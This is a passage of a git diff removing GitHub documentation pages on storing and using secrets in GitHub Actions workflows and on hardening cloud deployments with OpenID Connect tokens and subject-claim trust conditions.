If you receive a vulnerability report, this will give you an idea of who you need to communicate with about the vulnerability and how to fix it. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#dependents-view). -* Use repository security advisories to create a security advisory, privately collaborate to fix the vulnerability in a temporary private fork, and publish a security advisory to alert your community of the vulnerability once a patch is released. For more information, see [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository) and [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/creating-a-repository-security-advisory). - -{% endif %} diff --git a/content/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions.md b/content/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions.md deleted file mode 100644 index 48758791468f..000000000000 --- a/content/actions/security-for-github-actions/security-guides/using-secrets-in-github-actions.md +++ /dev/null @@ -1,404 +0,0 @@ ---- -title: Using secrets in GitHub Actions -shortTitle: Using secrets -intro: 'Secrets allow you to store sensitive information in your organization, repository, or repository environments.' -redirect_from: - - /github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets - - /actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets - - /actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets - - /actions/configuring-and-managing-workflows/using-variables-and-secrets-in-a-workflow - - /actions/reference/encrypted-secrets - - /actions/managing-workflows/storing-secrets - - /actions/security-guides/encrypted-secrets - - /actions/security-guides/using-secrets-in-github-actions -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -For general information about secrets, see [AUTOTITLE](/actions/security-for-github-actions/security-guides/about-secrets). - -## Creating secrets for a repository - -{% data reusables.actions.permissions-statement-secrets-variables-repository %} - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.actions.sidebar-secrets-and-variables %} -{% data reusables.actions.actions-secrets-tab %} - ![Screenshot of the "Actions secrets and variables" page. The "Secrets" tab is outlined in dark orange.](/assets/images/help/repository/actions-secrets-tab.png) -1. Click **New repository secret**. -1. In the **Name** field, type a name for your secret. -1. In the **Secret** field, enter the value for your secret. -1. Click **Add secret**. - -If your repository has environment secrets or can access secrets from the parent organization, then those secrets are also listed on this page. - -{% endwebui %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To add a repository secret, use the `gh secret set` subcommand. Replace `secret-name` with the name of your secret. - -```shell -gh secret set SECRET_NAME -``` - -The CLI will prompt you to enter a secret value. Alternatively, you can read the value of the secret from a file. - -```shell -gh secret set SECRET_NAME < secret.txt -``` - -To list all secrets for the repository, use the `gh secret list` subcommand. - -{% endcli %} - -## Creating secrets for an environment - -{% data reusables.actions.permissions-statement-secrets-environment %} - -{% webui %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.actions.sidebar-environment %} -1. Click on the environment that you want to add a secret to. -1. Under **Environment secrets**, click **Add secret**. -1. Type a name for your secret in the **Name** input box. -1. Enter the value for your secret. -1. Click **Add secret**. - -{% endwebui %} - -{% cli %} - -To add a secret for an environment, use the `gh secret set` subcommand with the `--env` or `-e` flag followed by the environment name. - -```shell -gh secret set --env ENV_NAME SECRET_NAME -``` - -To list all secrets for an environment, use the `gh secret list` subcommand with the `--env` or `-e` flag followed by the environment name. - -```shell -gh secret list --env ENV_NAME -``` - -{% endcli %} - -## Creating secrets for an organization - -{% data reusables.actions.actions-secrets-variables-repository-access %} - -{% data reusables.actions.permissions-statement-secrets-and-variables-organization %} - -{% webui %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.actions.sidebar-secrets-and-variables %} -{% data reusables.actions.actions-secrets-tab %} - - ![Screenshot of the "Actions secrets and variables" page. The "Secrets" tab is outlined in dark orange.](/assets/images/help/repository/actions-secrets-tab.png) - - {% data reusables.actions.secrets-and-variables-org-permissions %} - -1. Click **New organization secret**. -1. Type a name for your secret in the **Name** input box. -1. Enter the **Value** for your secret. -1. From the **Repository access** dropdown list, choose an access policy. -1. Click **Add secret**. - -{% endwebui %} - -{% cli %} - -> [!NOTE] -> By default, {% data variables.product.prodname_cli %} authenticates with the `repo` and `read:org` scopes. To manage organization secrets, you must additionally authorize the `admin:org` scope. -> -> ```shell -> gh auth login --scopes "admin:org" -> ``` - -To add a secret for an organization, use the `gh secret set` subcommand with the `--org` or `-o` flag followed by the organization name. - -```shell -gh secret set --org ORG_NAME SECRET_NAME -``` - -By default, the secret is only available to private repositories. To specify that the secret should be available to all repositories within the organization, use the `--visibility` or `-v` flag. - -```shell -gh secret set --org ORG_NAME SECRET_NAME --visibility all -``` - -To specify that the secret should be available to selected repositories within the organization, use the `--repos` or `-r` flag. - -```shell -gh secret set --org ORG_NAME SECRET_NAME --repos REPO-NAME-1, REPO-NAME-2 -``` - -To list all secrets for an organization, use the `gh secret list` subcommand with the `--org` or `-o` flag followed by the organization name. - -```shell -gh secret list --org ORG_NAME -``` - -{% endcli %} - -## Reviewing access to organization-level secrets - -You can check which access policies are being applied to a secret in your organization. - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.actions.sidebar-secrets-and-variables %} -1. The list of secrets includes any configured permissions and policies. For more details about the configured permissions for each secret, click **Update**. - -## Using secrets in a workflow - -> [!NOTE] -> * {% data reusables.actions.forked-secrets %} -> * Secrets are not automatically passed to reusable workflows. For more information, see [AUTOTITLE](/actions/using-workflows/reusing-workflows#passing-inputs-and-secrets-to-a-reusable-workflow). -> {% data reusables.actions.about-oidc-short-overview %} - -To provide an action with a secret as an input or environment variable, you can use the `secrets` context to access secrets you've created in your repository. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts) and [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions). - -{% raw %} - -```yaml -steps: - - name: Hello world action - with: # Set the secret as an input - super_secret: ${{ secrets.SuperSecret }} - env: # Or as an environment variable - super_secret: ${{ secrets.SuperSecret }} -``` - -{% endraw %} - -Secrets cannot be directly referenced in `if:` conditionals. Instead, consider setting secrets as job-level environment variables, then referencing the environment variables to conditionally run steps in the job. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#context-availability) and [`jobs.<job_id>.steps[*].if`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsif). - -If a secret has not been set, the return value of an expression referencing the secret (such as {% raw %}`${{ secrets.SuperSecret }}`{% endraw %} in the example) will be an empty string. - -Avoid passing secrets between processes from the command line, whenever possible. Command-line processes may be visible to other users (using the `ps` command) or captured by [security audit events](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). To help protect secrets, consider using environment variables, `STDIN`, or other mechanisms supported by the target process. - -If you must pass secrets within a command line, then enclose them within the proper quoting rules. Secrets often contain special characters that may unintentionally affect your shell. To escape these special characters, use quoting with your environment variables. For example: - -### Example using Bash - -{% raw %} - -```yaml -steps: - - shell: bash - env: - SUPER_SECRET: ${{ secrets.SuperSecret }} - run: | - example-command "$SUPER_SECRET" -``` - -{% endraw %} - -### Example using PowerShell - -{% raw %} - -```yaml -steps: - - shell: pwsh - env: - SUPER_SECRET: ${{ secrets.SuperSecret }} - run: | - example-command "$env:SUPER_SECRET" -``` - -{% endraw %} - -### Example using Cmd.exe - -{% raw %} - -```yaml -steps: - - shell: cmd - env: - SUPER_SECRET: ${{ secrets.SuperSecret }} - run: | - example-command "%SUPER_SECRET%" -``` - -{% endraw %} - -## Limits for secrets - -You can store up to 1,000 organization secrets, 100 repository secrets, and 100 environment secrets. - -A workflow created in a repository can access the following number of secrets: - -* All 100 repository secrets. -* If the repository is assigned access to more than 100 organization secrets, the workflow can only use the first 100 organization secrets (sorted alphabetically by secret name). -* All 100 environment secrets. - -Secrets are limited to 48 KB in size. To store larger secrets, see the [Storing large secrets](#storing-large-secrets) workaround below. - -### Storing large secrets - -To use secrets that are larger than 48 KB, you can use a workaround to store secrets in your repository and save the decryption passphrase as a secret on {% data variables.product.prodname_dotcom %}. For example, you can use `gpg` to encrypt a file containing your secret locally before checking the encrypted file in to your repository on {% data variables.product.prodname_dotcom %}. For more information, see the [gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html). - -> [!WARNING] -> Be careful that your secrets do not get printed when your workflow runs. When using this workaround, {% data variables.product.prodname_dotcom %} does not redact secrets that are printed in logs. - -1. Run the following command from your terminal to encrypt the file containing your secret using `gpg` and the AES256 cipher algorithm. In this example, `my_secret.json` is the file containing the secret. - - ```shell - gpg --symmetric --cipher-algo AES256 my_secret.json - ``` - -1. You will be prompted to enter a passphrase. Remember the passphrase, because you'll need to create a new secret on {% data variables.product.prodname_dotcom %} that uses the passphrase as the value. - -1. Create a new secret that contains the passphrase. For example, create a new secret with the name `LARGE_SECRET_PASSPHRASE` and set the value of the secret to the passphrase you used in the step above. - -1. Copy your encrypted file to a path in your repository and commit it. In this example, the encrypted file is `my_secret.json.gpg`. - - > [!WARNING] - > Make sure to copy the encrypted `my_secret.json.gpg` file ending with the `.gpg` file extension, and **not** the unencrypted `my_secret.json` file. - - ```shell - git add my_secret.json.gpg - git commit -m "Add new secret JSON file" - ``` - -1. Create a shell script in your repository to decrypt the secret file. In this example, the script is named `decrypt_secret.sh`. - - ```shell copy - #!/bin/sh - - # Decrypt the file - mkdir $HOME/secrets - # --batch to prevent interactive command - # --yes to assume "yes" for questions - gpg --quiet --batch --yes --decrypt --passphrase="$LARGE_SECRET_PASSPHRASE" \ - --output $HOME/secrets/my_secret.json my_secret.json.gpg - ``` - -1. Ensure your shell script is executable before checking it in to your repository. - - ```shell - chmod +x decrypt_secret.sh - git add decrypt_secret.sh - git commit -m "Add new decryption script" - git push - ``` - -1. In your {% data variables.product.prodname_actions %} workflow, use a `step` to call the shell script and decrypt the secret. To have a copy of your repository in the environment that your workflow runs in, you'll need to use the [`actions/checkout`](https://github.com/actions/checkout) action. Reference your shell script using the `run` command relative to the root of your repository. - - ```yaml - name: Workflows with large secrets - - on: push - - jobs: - my-job: - name: My Job - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Decrypt large secret - run: ./decrypt_secret.sh - env: - LARGE_SECRET_PASSPHRASE: {% raw %}${{ secrets.LARGE_SECRET_PASSPHRASE }}{% endraw %} - # This command is just an example to show your secret being printed - # Ensure you remove any print statements of your secrets. GitHub does - # not hide secrets that use this workaround. - - name: Test printing your secret (Remove this step in production) - run: cat $HOME/secrets/my_secret.json - ``` - -## Storing Base64 binary blobs as secrets - -You can use Base64 encoding to store small binary blobs as secrets. You can then reference the secret in your workflow and decode it for use on the runner. For the size limits, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions#limits-for-secrets). - -> [!NOTE] -> Note that Base64 only converts binary to text, and is not a substitute for actual encryption. - -1. Use `base64` to encode your file into a Base64 string. For example: - - On macOS, you could run: - - ```shell - base64 -i cert.der -o cert.base64 - ``` - - On Linux, you could run: - - ```shell - base64 -w 0 cert.der > cert.base64 - ``` - -1. Create a secret that contains the Base64 string. For example: - - ```shell - $ gh secret set CERTIFICATE_BASE64 < cert.base64 - ✓ Set secret CERTIFICATE_BASE64 for octocat/octorepo - ``` - -1. To access the Base64 string from your runner, pipe the secret to `base64 --decode`. For example: - - ```yaml - name: Retrieve Base64 secret - on: - push: - branches: [ octo-branch ] - jobs: - decode-secret: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Retrieve the secret and decode it to a file - env: - {% raw %}CERTIFICATE_BASE64: ${{ secrets.CERTIFICATE_BASE64 }}{% endraw %} - run: | - echo $CERTIFICATE_BASE64 | base64 --decode > cert.der - - name: Show certificate information - run: | - openssl x509 -in cert.der -inform DER -text -noout - ``` - -> [!NOTE] -> Using another shell might require different commands for decoding the secret to a file. On Windows runners, we recommend [using a bash shell](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsshell) with `shell: bash` to use the commands in the `run` step above. - -## Redacting secrets from workflow run logs - -{% data variables.product.prodname_actions %} automatically redacts the contents of all {% data variables.product.prodname_dotcom %} secrets that are printed to workflow logs. - -{% data variables.product.prodname_actions %} also redacts information that is recognized as sensitive, but is not stored as a secret. Currently {% data variables.product.prodname_dotcom %} supports the following: - -* 32-byte and 64-byte Azure keys -* Azure AD client app passwords -* Azure Cache keys -* Azure Container Registry keys -* Azure Function host keys -* Azure Search keys -* Database connection strings -* HTTP Bearer token headers -* JWTs -* NPM author tokens -* NuGet API keys -* v1 GitHub installation tokens -* v2 GitHub installation tokens (`ghp`, `gho`, `ghu`, `ghs`, `ghr`) -* v2 GitHub PATs - -> [!NOTE] If you would like other types of sensitive information to be automatically redacted, please reach out to us in our [community discussions](https://github.com/orgs/community/discussions?discussions_q=is%3Aopen+label%3AActions). - -As a habit of best practice, you should mask all sensitive information that is not a {% data variables.product.prodname_dotcom %} secret by using `::add-mask::VALUE`. This causes the value to be treated as a secret and redacted from logs. For more information about masking data, see [AUTOTITLE](/actions/using-workflows/workflow-commands-for-github-actions#masking-a-value-in-a-log). - -Redacting of secrets is performed by your workflow runners. This means a secret will only be redacted if it was used within a job and is accessible by the runner. If an unredacted secret is sent to a workflow run log, you should delete the log and rotate the secret. For information on deleting logs, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs#deleting-logs). diff --git a/content/actions/security-for-github-actions/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md b/content/actions/security-for-github-actions/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md deleted file mode 100644 index d1f43177defb..000000000000 --- a/content/actions/security-for-github-actions/security-hardening-your-deployments/about-security-hardening-with-openid-connect.md +++ /dev/null @@ -1,531 +0,0 @@ ---- -title: About security hardening with OpenID Connect -shortTitle: Security hardening with OpenID Connect -intro: OpenID Connect allows your workflows to exchange short-lived tokens directly from your cloud provider. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: tutorial -topics: - - Security -redirect_from: - - /actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Overview of OpenID Connect - -{% data variables.product.prodname_actions %} workflows are often designed to access a cloud provider (such as AWS, Azure, GCP, or HashiCorp Vault) in order to deploy software or use the cloud's services. Before the workflow can access these resources, it will supply credentials, such as a password or token, to the cloud provider. These credentials are usually stored as a secret in {% data variables.product.prodname_dotcom %}, and the workflow presents this secret to the cloud provider every time it runs. - -However, using hardcoded secrets requires you to create credentials in the cloud provider and then duplicate them in {% data variables.product.prodname_dotcom %} as a secret. - -With OpenID Connect (OIDC), you can take a different approach by configuring your workflow to request a short-lived access token directly from the cloud provider. Your cloud provider also needs to support OIDC on their end, and you must configure a trust relationship that controls which workflows are able to request the access tokens. Providers that currently support OIDC include Amazon Web Services, Azure, Google Cloud Platform, and HashiCorp Vault, among others. - -### Benefits of using OIDC - -By updating your workflows to use OIDC tokens, you can adopt the following good security practices: - -* **No cloud secrets:** You won't need to duplicate your cloud credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. Instead, you can configure the OIDC trust on your cloud provider, and then update your workflows to request a short-lived access token from the cloud provider through OIDC. -* **Authentication and authorization management:** You have more granular control over how workflows can use credentials, using your cloud provider's authentication (authN) and authorization (authZ) tools to control access to cloud resources. -* **Rotating credentials:** With OIDC, your cloud provider issues a short-lived access token that is only valid for a single job, and then automatically expires. - -### Getting started with OIDC - -The following diagram gives an overview of how {% data variables.product.prodname_dotcom %}'s OIDC provider integrates with your workflows and cloud provider: - -![Diagram of how a cloud provider integrates with {% data variables.product.prodname_actions %} through access tokens and JSON web token cloud role IDs.](/assets/images/help/actions/oidc-architecture.png) - -1. In your cloud provider, create an OIDC trust between your cloud role and your {% data variables.product.prodname_dotcom %} workflow(s) that need access to the cloud. -1. Every time your job runs, {% data variables.product.prodname_dotcom %}'s OIDC Provider auto-generates an OIDC token. This token contains multiple claims to establish a security-hardened and verifiable identity about the specific workflow that is trying to authenticate. -1. You could include a step or action in your job to request this token from {% data variables.product.prodname_dotcom %}'s OIDC provider, and present it to the cloud provider. -1. Once the cloud provider successfully validates the claims presented in the token, it then provides a short-lived cloud access token that is available only for the duration of the job. - -## Configuring the OIDC trust with the cloud - -When you configure your cloud to trust {% data variables.product.prodname_dotcom %}'s OIDC provider, you **must** add conditions that filter incoming requests, so that untrusted repositories or workflows can’t request access tokens for your cloud resources: - -* Before granting an access token, your cloud provider checks that the [`subject`](https://openid.net/specs/openid-connect-core-1_0.html#StandardClaims) and other claims used to set conditions in its trust settings match those in the request's JSON Web Token (JWT). As a result, you must take care to correctly define the _subject_ and other conditions in your cloud provider. -* The OIDC trust configuration steps and the syntax to set conditions for cloud roles (using _Subject_ and other claims) will vary depending on which cloud provider you're using. For some examples, see [Example subject claims](#example-subject-claims). - -### Understanding the OIDC token - -Each job requests an OIDC token from {% data variables.product.prodname_dotcom %}'s OIDC provider, which responds with an automatically generated JSON web token (JWT) that is unique for each workflow job where it is generated. When the job runs, the OIDC token is presented to the cloud provider. To validate the token, the cloud provider checks if the OIDC token's subject and other claims are a match for the conditions that were preconfigured on the cloud role's OIDC trust definition. - -The following example OIDC token uses a subject (`sub`) that references a job environment named `prod` in the `octo-org/octo-repo` repository. - -```yaml -{ - "typ": "JWT", - "alg": "RS256", - "x5t": "example-thumbprint", - "kid": "example-key-id" -} -{ - "jti": "example-id", - "sub": "repo:octo-org/octo-repo:environment:prod", - "environment": "prod", - "aud": "{% ifversion ghes %}https://HOSTNAME{% else %}https://github.com{% endif %}/octo-org", - "ref": "refs/heads/main", - "sha": "example-sha", - "repository": "octo-org/octo-repo", - "repository_owner": "octo-org", - "actor_id": "12", - "repository_visibility": "private", - "repository_id": "74", - "repository_owner_id": "65", - "run_id": "example-run-id", - "run_number": "10", - "run_attempt": "2", - "runner_environment": "github-hosted" - "actor": "octocat", - "workflow": "example-workflow", - "head_ref": "", - "base_ref": "", - "event_name": "workflow_dispatch",{% ifversion actions-OIDC-custom-claim-enterprise %} - "enterprise": "avocado-corp",{% endif %}{% ifversion actions-OIDC-enterprise_id-claim %} - "enterprise_id": "2",{% endif %} - "ref_type": "branch", - "job_workflow_ref": "octo-org/octo-automation/.github/workflows/oidc.yml@refs/heads/main", - "iss": "{% ifversion ghes %}https://HOSTNAME/_services/token{% else %}https://token.actions.githubusercontent.com{% endif %}", - "nbf": 1632492967, - "exp": 1632493867, - "iat": 1632493567 -} -``` - -To see all the claims supported by {% data variables.product.prodname_dotcom %}'s OIDC provider, review the `claims_supported` entries at -{% ifversion ghes %}`https://HOSTNAME/_services/token/.well-known/openid-configuration`{% else %}https://token.actions.githubusercontent.com/.well-known/openid-configuration{% endif %}. - -The token includes the standard audience, issuer, and subject claims. - -| Claim | Claim type | Description | -| ----------- | -----| ---------------------- | -| `aud`| Audience | By default, this is the URL of the repository owner, such as the organization that owns the repository. You can set a custom audience with a toolkit command: [`core.getIDToken(audience)`](https://www.npmjs.com/package/@actions/core/v/1.6.0) | -| `iss`| Issuer | The issuer of the OIDC token: {% ifversion ghes %}`https://HOSTNAME/_services/token`{% else %}`https://token.actions.githubusercontent.com`{% endif %} | -| `sub`| Subject | Defines the subject claim that is to be validated by the cloud provider. This setting is essential for making sure that access tokens are only allocated in a predictable way. | - -The OIDC token also includes additional standard JOSE header parameters and claims. - -| Header Parameter | Parameter type | Description | -| ----------- | -----| ---------------------- | -| `alg`| Algorithm | The algorithm used by the OIDC provider. | -| `kid`| Key identifier | Unique key for the OIDC token. | -| `typ`| Type | Describes the type of token. This is a JSON Web Token (JWT). | - -| Claim | Claim type | Description | -| ----------- | -----| ---------------------- | -| `exp`| Expires at | Identifies the expiry time of the JWT. | -| `iat`| Issued at | The time when the JWT was issued. | -| `jti`| JWT token identifier | Unique identifier for the OIDC token. | -| `nbf`| Not before | JWT is not valid for use before this time. | - -The token also includes custom claims provided by {% data variables.product.prodname_dotcom %}. - -| Claim | Description | -| ----------- | ---------------------- | -| `actor`| The personal account that initiated the workflow run. | -| `actor_id`| The ID of personal account that initiated the workflow run. | -| `base_ref`| The target branch of the pull request in a workflow run. | -| {% ifversion actions-OIDC-custom-claim-enterprise %} | -| `enterprise`| The name of the enterprise that contains the repository from where the workflow is running. | -| {% endif %} | -| {% ifversion actions-OIDC-enterprise_id-claim %} | -| `enterprise_id`| The ID of the enterprise that contains the repository from where the workflow is running. | -| {% endif %} | -| `environment`| The name of the environment used by the job. If the `environment` claim is included (also via `include_claim_keys`), an environment is required and must be provided. | -| `event_name`| The name of the event that triggered the workflow run. | -| `head_ref`| The source branch of the pull request in a workflow run. | -| `job_workflow_ref`| For jobs using a reusable workflow, the ref path to the reusable workflow. For more information, see [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows). | -| `job_workflow_sha`| For jobs using a reusable workflow, the commit SHA for the reusable workflow file. | -| `ref`| _(Reference)_ The git ref that triggered the workflow run. | -| `ref_type`| The type of `ref`, for example: "branch". | -| `repository_visibility` | The visibility of the repository where the workflow is running. Accepts the following values: `internal`, `private`, or `public`. | -| `repository`| The repository from where the workflow is running. | -| `repository_id`| The ID of the repository from where the workflow is running. | -| `repository_owner`| The name of the organization in which the `repository` is stored. | -| `repository_owner_id`| The ID of the organization in which the `repository` is stored. | -| `run_id`| The ID of the workflow run that triggered the workflow. | -| `run_number`| The number of times this workflow has been run. | -| `run_attempt`| The number of times this workflow run has been retried. | -| `runner_environment`| The type of runner used by the job. Accepts the following values: `github-hosted` or `self-hosted`. | -| `workflow`| The name of the workflow. | -| `workflow_ref`| {% data reusables.actions.workflow-ref-description %} | -| `workflow_sha`| {% data reusables.actions.workflow-sha-description %} | - -### Defining trust conditions on cloud roles using OIDC claims - -With OIDC, a {% data variables.product.prodname_actions %} workflow requires a token in order to access resources in your cloud provider. The workflow requests an access token from your cloud provider, which checks the details presented by the JWT. If the trust configuration in the JWT is a match, your cloud provider responds by issuing a temporary token to the workflow, which can then be used to access resources in your cloud provider. You can configure your cloud provider to only respond to requests that originate from a specific organization's repository. You can also specify additional conditions, described below. - -Audience and Subject claims are typically used in combination while setting conditions on the cloud role/resources to scope its access to the GitHub workflows. -* **Audience:** By default, this value uses the URL of the organization or repository owner. This can be used to set a condition that only the workflows in the specific organization can access the cloud role. -* **Subject:** By default, has a predefined format and is a concatenation of some of the key metadata about the workflow, such as the {% data variables.product.prodname_dotcom %} organization, repository, branch, or associated [`job`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idenvironment) environment. See [Example subject claims](#example-subject-claims) to see how the subject claim is assembled from concatenated metadata. - -If you need more granular trust conditions, you can customize the {% ifversion ghec %}issuer (`iss`) and {% endif %}subject (`sub`) claim{% ifversion ghec %}s that are{% else %} that's{% endif %} included with the JWT. For more information, see [Customizing the token claims](#customizing-the-token-claims). - -There are also many additional claims supported in the OIDC token that can be used for setting these conditions. In addition, your cloud provider could allow you to assign a role to the access tokens, letting you specify even more granular permissions. - -> [!NOTE] -> To control how your cloud provider issues access tokens, you **must** define at least one condition, so that untrusted repositories can’t request access tokens for your cloud resources. - -### Example subject claims - -The following examples demonstrate how to use "Subject" as a condition, and explain how the "Subject" is assembled from concatenated metadata. The [subject](https://openid.net/specs/openid-connect-core-1_0.html#StandardClaims) uses information from the [`job` context](/actions/learn-github-actions/contexts#job-context), and instructs your cloud provider that access token requests may only be granted for requests from workflows running in specific branches, environments. The following sections describe some common subjects you can use. - -#### Filtering for a specific environment - -The subject claim includes the environment name when the job references an environment. - -You can configure a subject that filters for a specific [environment](/actions/deployment/targeting-different-environments/managing-environments-for-deployment) name. In this example, the workflow run must have originated from a job that has an environment named `Production`, in a repository named `octo-repo` that is owned by the `octo-org` organization: - -* Syntax: `repo:ORG-NAME/REPO-NAME:environment:ENVIRONMENT-NAME` -* Example: `repo:octo-org/octo-repo:environment:Production` - -#### Filtering for `pull_request` events - -The subject claim includes the `pull_request` string when the workflow is triggered by a pull request event, but only if the job doesn't reference an environment. - -You can configure a subject that filters for the [`pull_request`](/actions/using-workflows/events-that-trigger-workflows#pull_request) event. In this example, the workflow run must have been triggered by a `pull_request` event in a repository named `octo-repo` that is owned by the `octo-org` organization: - -* Syntax: `repo:ORG-NAME/REPO-NAME:pull_request` -* Example: `repo:octo-org/octo-repo:pull_request` - -#### Filtering for a specific branch - -The subject claim includes the branch name of the workflow, but only if the job doesn't reference an environment, and if the workflow is not triggered by a pull request event. - -You can configure a subject that filters for a specific branch name. In this example, the workflow run must have originated from a branch named `demo-branch`, in a repository named `octo-repo` that is owned by the `octo-org` organization: - -* Syntax: `repo:ORG-NAME/REPO-NAME:ref:refs/heads/BRANCH-NAME` -* Example: `repo:octo-org/octo-repo:ref:refs/heads/demo-branch` - -#### Filtering for a specific tag - -The subject claim includes the tag name of the workflow, but only if the job doesn't reference an environment, and if the workflow is not triggered by a pull request event. - -You can create a subject that filters for specific tag. In this example, the workflow run must have originated with a tag named `demo-tag`, in a repository named `octo-repo` that is owned by the `octo-org` organization: - -* Syntax: `repo:ORG-NAME/REPO-NAME:ref:refs/tags/TAG-NAME` -* Example: `repo:octo-org/octo-repo:ref:refs/tags/demo-tag` - -### Configuring the subject in your cloud provider - -To configure the subject in your cloud provider's trust relationship, you must add the subject string to its trust configuration. The following examples demonstrate how various cloud providers can accept the same `repo:octo-org/octo-repo:ref:refs/heads/demo-branch` subject in different ways: - -| Cloud provider | Example | -| ------ | ----------- | -| Amazon Web Services | `"{% ifversion ghes %}HOSTNAME/_services/token{% else %}token.actions.githubusercontent.com{% endif %}:sub": "repo:octo-org/octo-repo:ref:refs/heads/demo-branch"` | -| Azure| `repo:octo-org/octo-repo:ref:refs/heads/demo-branch` | -| Google Cloud Platform| `(assertion.sub=='repo:octo-org/octo-repo:ref:refs/heads/demo-branch')` | -| HashiCorp Vault| `bound_subject="repo:octo-org/octo-repo:ref:refs/heads/demo-branch"` | - -For more information, see the guides listed in [Enabling OpenID Connect for your cloud provider](#enabling-openid-connect-for-your-cloud-provider). - -## Updating your actions for OIDC - -To update your custom actions to authenticate using OIDC, you can use `getIDToken()` from the Actions toolkit to request a JWT from {% data variables.product.prodname_dotcom %}'s OIDC provider. For more information, see "OIDC Token" in the [npm package documentation](https://www.npmjs.com/package/@actions/core/v/1.6.0). - -You could also use a `curl` command to request the JWT, using the following environment variables. - -| Variable | Description | -| ------ | ----------- | -| `ACTIONS_ID_TOKEN_REQUEST_URL` | The URL for {% data variables.product.prodname_dotcom %}'s OIDC provider. | -| `ACTIONS_ID_TOKEN_REQUEST_TOKEN` | Bearer token for the request to the OIDC provider. | - -For example: - -```shell copy -curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange" -``` - -### Adding permissions settings - -{% data reusables.actions.oidc-permissions-token %} - -## Customizing the token claims - -You can security harden your OIDC configuration by customizing the claims that are included with the JWT. These customizations allow you to define more granular trust conditions on your cloud roles when allowing your workflows to access resources hosted in the cloud: - -* You can customize values for {% ifversion ghec %}`issuer` or {% endif %}`audience` claims. See {% ifversion ghec %}[Customizing the `issuer` value for an enterprise](#customizing-the-issuer-value-for-an-enterprise) and {% endif %}[Customizing the `audience` value](#customizing-the-audience-value). -* You can customize the format of your OIDC configuration by setting conditions on the subject (`sub`) claim that require JWT tokens to originate from a specific repository, reusable workflow, or other source. -* You can define granular OIDC policies by using additional OIDC token claims, such as `repository_id` and `repository_visibility`. See [Understanding the OIDC token](#understanding-the-oidc-token). - -### Customizing the `audience` value - -When you use custom actions in your workflows, those actions may use the {% data variables.product.prodname_actions %} Toolkit to enable you to supply a custom value for the `audience` claim. Some cloud providers also use this in their official login actions to enforce a default value for the `audience` claim. For example, the [GitHub Action for Azure Login](https://github.com/Azure/login/blob/master/action.yml) provides a default `aud` value of `api://AzureADTokenExchange`, or it allows you to set a custom `aud` value in your workflows. For more information on the {% data variables.product.prodname_actions %} Toolkit, see the [OIDC token](https://github.com/actions/toolkit/tree/main/packages/core#oidc-token) section in the documentation. - -If you do not want to use the default `aud` value offered by an action, you can provide a custom value for the `audience` claim. This allows you to set a condition that only workflows in a specific repository or organization can access the cloud role. If the action you are using supports this, you can use the `with` keyword in your workflow to pass a custom `aud` value to the action. For more information, see [AUTOTITLE](/actions/creating-actions/metadata-syntax-for-github-actions#inputs). - -{% ifversion ghec %} - -### Customizing the `issuer` value for an enterprise - -By default, the JWT is issued by {% data variables.product.prodname_dotcom %}'s OIDC provider at `https://token.actions.githubusercontent.com`. This path is presented to your cloud provider using the `iss` value in the JWT. - -To security harden their OIDC configuration, enterprise administrators can configure their enterprise to receive tokens from a unique URL at `https://token.actions.githubusercontent.com/<enterpriseSlug>`, replacing `<enterpriseSlug>` with the slug value of the enterprise. - -This configuration means that your enterprise will receive the OIDC token from a unique URL, and you can then configure your cloud provider to only accept tokens from that URL. This helps ensure that only the enterprise's repositories can access your cloud resources using OIDC. - -To activate this setting for your enterprise, an enterprise administrator must use the `/enterprises/{enterprise}/actions/oidc/customization/issuer` endpoint and specify `"include_enterprise_slug": true` in the request body. For more information, see [AUTOTITLE](/rest/actions/oidc#set-the-github-actions-oidc-custom-issuer-policy-for-an-enterprise). - -After this setting is applied, the JWT will contain the updated `iss` value. In the following example, the `iss` key uses `octocat-inc` as its `enterpriseSlug` value: - -```json -{ - "jti": "6f4762ed-0758-4ccb-808d-ee3af5d723a8", - "sub": "repo:octocat-inc/private-server:ref:refs/heads/main", - "aud": "http://octocat-inc.example/octocat-inc", - "enterprise": "octocat-inc", - "enterprise_id": "123", - "iss": 